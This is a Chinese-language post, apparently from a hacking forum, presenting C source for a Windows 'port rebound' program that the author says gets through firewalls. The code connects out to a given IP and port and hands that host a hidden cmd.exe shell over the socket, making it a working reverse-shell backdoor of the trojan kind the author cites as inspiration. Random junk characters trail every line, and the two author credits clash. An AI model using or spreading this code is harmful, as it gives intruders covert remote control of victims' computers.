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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B !}/4"  
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/* ============================== S(\<@S&  
Rebound port in Windows NT uKL4cr@  
By wind,2006/7 Je1'0h9d  
===============================*/ "f5neW  
#include td"D&1eQ@  
#include $pLJtQ  
S_ELV#X  
#pragma comment(lib,"wsock32.lib") Y_SB3 $])  
;[,r./XmH  
void OutputShell(); 9yrSCDu00  
SOCKET sClient; T}55ZpS C&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; FT$Z8  
e*?@6E  
void main(int argc,char **argv) (n+FEE<  
{ zD z"Dn9  
WSADATA stWsaData; {/E_l  
int nRet; de<T5/  
SOCKADDR_IN stSaiClient,stSaiServer; AwQ7Oz|(  
|Y")$pjz  
if(argc != 3) c ?(X(FQ  
{ Y$\c_#/]  
printf("Useage:\n\rRebound DestIP DestPort\n"); [d^ [Y:I'\  
return; \lBY4j+;  
} (G<fvl!~  
]aN]Ha  
WSAStartup(MAKEWORD(2,2),&stWsaData); !x@3U^${  
8EBy5X}US  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d09qZj>  
L63B# H "  
stSaiClient.sin_family = AF_INET; dum(T  
stSaiClient.sin_port = htons(0); =(cfo_B@K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4!k 0  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 76BA1x+G  
{ 'n dXM   
printf("Bind Socket Failed!\n"); ~qu}<u)P  
return; (S)jV 0  
} 'Xb?vOU  
4;D>s8dgG  
stSaiServer.sin_family = AF_INET; 'i5,2vT0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *MM8\p_PuT  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  aWTvowA  
`vc?*"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) > %B7/l$  
{ E WNm }C9  
printf("Connect Error!"); @5:#J !  
return; yZyB.wT  
} H2oD0f|  
OutputShell(); X*QQVj  
} e]k\dj;,^%  
ul!e!^qwx  
void OutputShell() U6K!FOND  
{ U3OXO 1  
char szBuff[1024]; 4E 0 Y=  
SECURITY_ATTRIBUTES stSecurityAttributes; U0fr\kM  
OSVERSIONINFO stOsversionInfo; 1}XESAX;0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t}x^*I$*  
STARTUPINFO stStartupInfo; 7S.E,\Tws  
char *szShell; \F5d p  
PROCESS_INFORMATION stProcessInformation; +txHj(Y`  
unsigned long lBytesRead; &wea]./B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5q95.rw  
GEbm$\  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jx[g;7~X  
stSecurityAttributes.lpSecurityDescriptor = 0; ( *Fb/  
stSecurityAttributes.bInheritHandle = TRUE; W>cHZ. _  
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sHn-#SGm  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ee\xj$,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .0b4"0~T6  
_<m yM2z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T'${*NVn  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #.W^7}H  
stStartupInfo.wShowWindow = SW_HIDE; _sX@BE  
stStartupInfo.hStdInput = hReadPipe; 8h'*[-]70u  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qfS ]vc_N  
Ux b>)36I  
GetVersionEx(&stOsversionInfo); +5xk6RP   
LnlDCbF;!  
switch(stOsversionInfo.dwPlatformId) HBiUp$(mB  
{ ("txj[v-/  
case 1: kpLx?zW--q  
szShell = "command.com"; ;!Q}g19C  
break; "*JyNwf  
default: `Ti?hQm/  
szShell = "cmd.exe"; uB>OS 1=  
break; q:vc ;y  
} 6u [ B}%l  
(y!V0iy]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cZ l/8?dj}  
8/BWe ;4  
send(sClient,szMsg,77,0); s MNhD/bb  
while(1) G^&P'*  
{ r"bV{v  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WNcJ710k27  
if(lBytesRead) Gzkvj:(V  
{ 4ZCD@C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i&Xjbcbp  
send(sClient,szBuff,lBytesRead,0); =niT]xf  
} W+`T:Mgh  
else 7 DW_G  
{ t*(buAx  
lBytesRead=recv(sClient,szBuff,1024,0); k r ga!,I  
if(lBytesRead<=0) break; )Nnrsa  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CA]u3bf~  
} :O/QgGZN$  
} K(75)/  
lqZUU92;  
return;  @s7wKk  
}
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